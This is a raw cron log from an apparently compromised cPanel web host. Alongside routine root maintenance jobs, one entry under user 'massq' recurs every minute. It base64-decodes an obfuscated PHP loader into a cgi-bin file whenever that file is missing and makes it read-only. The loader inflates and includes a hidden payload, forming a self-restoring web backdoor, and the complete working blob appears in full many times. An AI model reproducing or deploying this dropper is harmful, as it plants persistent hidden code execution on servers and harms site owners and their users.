Sep  8 19:52:01 server CROND[21308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:53:01 server CROND[21691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:53:01 server CROND[21692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:53:01 server CROND[21693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:54:01 server CROND[22081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:54:01 server CROND[22082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:54:01 server CROND[22083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:55:01 server CROND[22473]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:55:01 server CROND[22475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:55:01 server CROND[22481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:55:01 server CROND[22482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:55:01 server CROND[22480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:55:01 server CROND[22479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:55:01 server CROND[22485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:56:01 server CROND[23482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:56:01 server CROND[23481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:56:01 server CROND[23483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:57:01 server CROND[23958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:57:01 server CROND[23956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:57:01 server CROND[23959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:57:01 server CROND[23957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:58:01 server CROND[24343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:58:01 server CROND[24344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:58:01 server CROND[24342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:59:01 server CROND[24742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:59:01 server CROND[24743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:59:01 server CROND[24745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:00:01 server CROND[25153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:00:01 server CROND[25156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:00:01 server CROND[25157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:00:01 server CROND[25160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:00:01 server CROND[25163]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:00:01 server CROND[25162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:00:01 server CROND[25164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:00:01 server CROND[25165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:00:01 server CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 20:00:01 server CROND[25166]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 20:01:01 server CROND[26036]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 20:01:01 server CROND[26037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:01:01 server CROND[26038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:01:01 server CROND[26039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:01:01 server run-parts(/etc/cron.hourly)[26036]: starting 0anacron
Sep  8 20:01:01 server run-parts(/etc/cron.hourly)[26059]: finished 0anacron
Sep  8 20:02:01 server CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:02:01 server CROND[26424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:02:01 server CROND[26425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:03:01 server CROND[26906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:03:01 server CROND[26905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:03:01 server CROND[26907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:04:01 server CROND[27291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:04:01 server CROND[27294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
